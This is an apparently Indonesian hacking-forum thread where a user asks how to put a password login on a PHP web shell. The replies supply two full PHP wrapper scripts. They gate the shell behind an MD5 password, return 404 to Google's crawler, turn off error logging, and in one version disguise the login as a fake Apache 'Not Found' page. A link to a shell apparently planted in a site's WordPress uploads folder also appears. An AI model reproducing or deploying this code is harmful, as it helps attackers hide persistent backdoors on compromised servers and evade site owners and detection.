![]() |
|
[ask]Membuat Login From PHP - Printable Version +- HN-Community (https://hacker-newbie.org) +-- Forum: Miscellaneous (https://hacker-newbie.org/forum-86.html) +--- Forum: Coding/Programing (https://hacker-newbie.org/forum-19.html) +---- Forum: Web Programing (https://hacker-newbie.org/forum-38.html) +---- Thread: [ask]Membuat Login From PHP (/thread-17326.html) |
[ask]Membuat Login From PHP - rifaldi238 - 05-21-2013 assalamualaikum wr. wb. Permissi.. Newbie Numpang tanya.. Cara membuat from script PHP itu gimana ya ? kayak Private Shell HN gitu ?? ![]() udah muter-muter google , kagak ada yang kayak gitu :3 ---- mohon dijawab mastah ![]() wassalamualikum.. RE: [ask]Membuat Login From PHP - rifaldi238 - 05-21-2013 BONUS SHELL Shell http://pspbyone.com/wp-content/uploads/products_img/proshell2.php
RE: [ask]Membuat Login From PHP - E1nzte1N - 05-21-2013 mksudnya mau nglindungin shell pake login form ? kalo mksudnya emang itu, ini contohnya : PHP Code: <?php
error_reporting(E_ALL^(E_NOTICE|E_WARNING));
//authentication
$auth_pass = "734096ccb82eba0769143b7d6486ce0b"; //your shell password
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<html>
<title>My Fvcking Shell</title>
<body bgcolor="#000000">
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<font face="courier" color="lime"><b>:: Log On ::</b></font>
<form method=post>
<input type=password name=pass>
</form>
</center>
</body>
</html>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if($os == 'win')
$aliases = array(
);
else
$aliases = array(
);
//taruh code phpshell nya disini.
?>ini login tersembunyi model 404 Not Found PHP Code: <?php
error_reporting(E_ALL^(E_NOTICE|E_WARNING));
//authentication
$auth_pass = "734096cca89eba0769143b7d6646ce0b"; //your shell password
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<form method=post>
<input type=password name=pass>
</form>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if($os == 'win')
$aliases = array(
);
else
$aliases = array(
);
//code shell disini
?>RE: [ask]Membuat Login From PHP - Destr0yer - 05-22-2013 widihhh.....Lengkap dahhhhh RE: [ask]Membuat Login From PHP - rifaldi238 - 05-22-2013 (05-21-2013, 10:43 PM)E1nzte1N Wrote: mksudnya mau nglindungin shell pake login form ? Wow , Thanks Banget broo oh iya , itu Hash apaan ya ? kok pake MD5 kagak bisa :3 ----------------- Cendol +1 ->Melayang RE: [ask]Membuat Login From PHP - E1nzte1N - 05-22-2013 Itu cm contoh. Enkripsi yg dipake disitu pake md5. Ente bkin sndri passwd nya pake md5. Taro disitu. |